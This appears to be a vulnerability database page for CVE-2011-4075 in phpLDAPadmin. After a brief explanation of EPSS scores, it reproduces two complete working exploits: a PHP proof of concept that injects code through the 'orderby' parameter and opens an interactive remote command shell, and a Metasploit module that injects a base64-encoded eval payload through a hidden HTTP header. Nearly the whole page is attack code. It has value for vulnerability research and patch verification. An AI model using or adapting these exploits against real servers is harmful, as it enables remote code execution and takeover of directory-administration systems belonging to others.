CVE-2011-4075 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

<?php /* ------------------------------------------------------------------------ phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit ------------------------------------------------------------------------ author...............: EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://phpldapadmin.sourceforge.net/ affected versions....: from 1.2.0 to 1.2.1.1 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /lib/functions.php 1002. function masort(&$data,$sortby,$rev=0) { 1003. if (defined('DEBUG_ENABLED') && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS')) 1004. debug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs); 1005. 1006. # if the array to sort is null or empty 1007. if (! $data) return; 1008. 1009. static $CACHE = array(); 1010. 1011. if (empty($CACHE[$sortby])) { 1012. $code = "\$c=0;\n"; 1013. 1014. foreach (explode(',',$sortby) as $key) { 1015. $code .= "if (is_object(\$a) || is_object(\$b)) {\n"; 1016. 1017. $code .= " if (is_array(\$a->$key)) {\n"; 1018. $code .= " asort(\$a->$key);\n"; 1019. $code .= " \$aa = array_shift(\$a->$key);\n"; .... 1078. $code .= 'return $c;'; 1079. 1080. $CACHE[$sortby] = create_function('$a, $b',$code); 1081. } The $sortby parameter passed to 'masort' function isn't properly sanitized before being used in a call to create_function() at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling the 'query_engine' command, here input passed through $_REQUEST['orderby'] is passed as $sortby parameter to 'masort' function. [-] Disclosure timeline: [30/09/2011] - Vulnerability discovered [02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184 [05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad [23/10/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "\n+-------------------------------------------------------------------+"; print "\n| phpLDAPadmin <= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |"; print "\n+-------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n"); $phpcode = "foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*"; $payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}"; $packet = "POST {$path}cmd.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; while(1) { print "\nphpldapadmin-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>

## # $Id: phpldapadmin_query_engine.rb 14060 2011-10-25 05:25:39Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Payload::Php def initialize(info = {}) super(update_info(info, 'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability in the lib/functions.php that allows attackers input parsed directly to the create_function() php function. A patch was issued that uses a whitelist regex expression to check the user supplied input before being parsed to the create_function() call. }, 'Author' => [ 'EgiX <n0b0d13s[at]gmail-com>', # original discovery/poc 'mr_me <steventhomasseeley[at]gmail-com>', # msf 'TecR0c <roccogiovannicalvi[at]gmail-com >', # msf ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 14060 $', 'References' => [ ['BID', '50331'], ['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'], ['URL', 'http://www.exploit-db.com/exploits/18021/'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 4000, 'Keys' => ['php'], }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Oct 24 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]), ], self.class) end def check uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'index.php' res = send_request_raw( { 'method' => 'GET', 'uri' => uri, }, 3) if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def get_session uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'index.php' res = send_request_raw( { 'method' => 'GET', 'uri' => uri, }, 3) if (not res.headers['Set-Cookie']) print_error("Could not generate a valid session") return end return res.headers['Set-Cookie'] end def cleanup # We may not be using php/exe again, so clear the CMD option if datastore['CMD'] datastore['CMD'] = nil end end def exploit # if we are using the exec CMD stager # important to check which php functions are disabled if datastore['CMD'] cmd = Rex::Text.encode_base64(datastore['CMD']) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) out = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE $c = base64_decode("#{cmd}"); #{php_preamble({:disabled_varname => dis})} #{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis, :output_varname => out})} echo #{out}; END_OF_PHP_CODE p = Rex::Text.encode_base64(Rex::Text.compress(shell)) else p = Rex::Text.encode_base64(payload.encoded) end # Generate some random strings hidden_header = rand_text_alpha_upper(6) fake_func_name = rand_text_alpha_upper(2) # build sttack string php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*" data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n" session = get_session uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'cmd.php' res = send_request_cgi( { 'method' => 'POST', 'uri' => uri, 'data' => data, 'headers' => { "#{hidden_header}" => p, 'Cookie' => session, 'Connection' => 'Close', }, }, 3) print_status("%s" % res.body) if datastore['CMD'] end end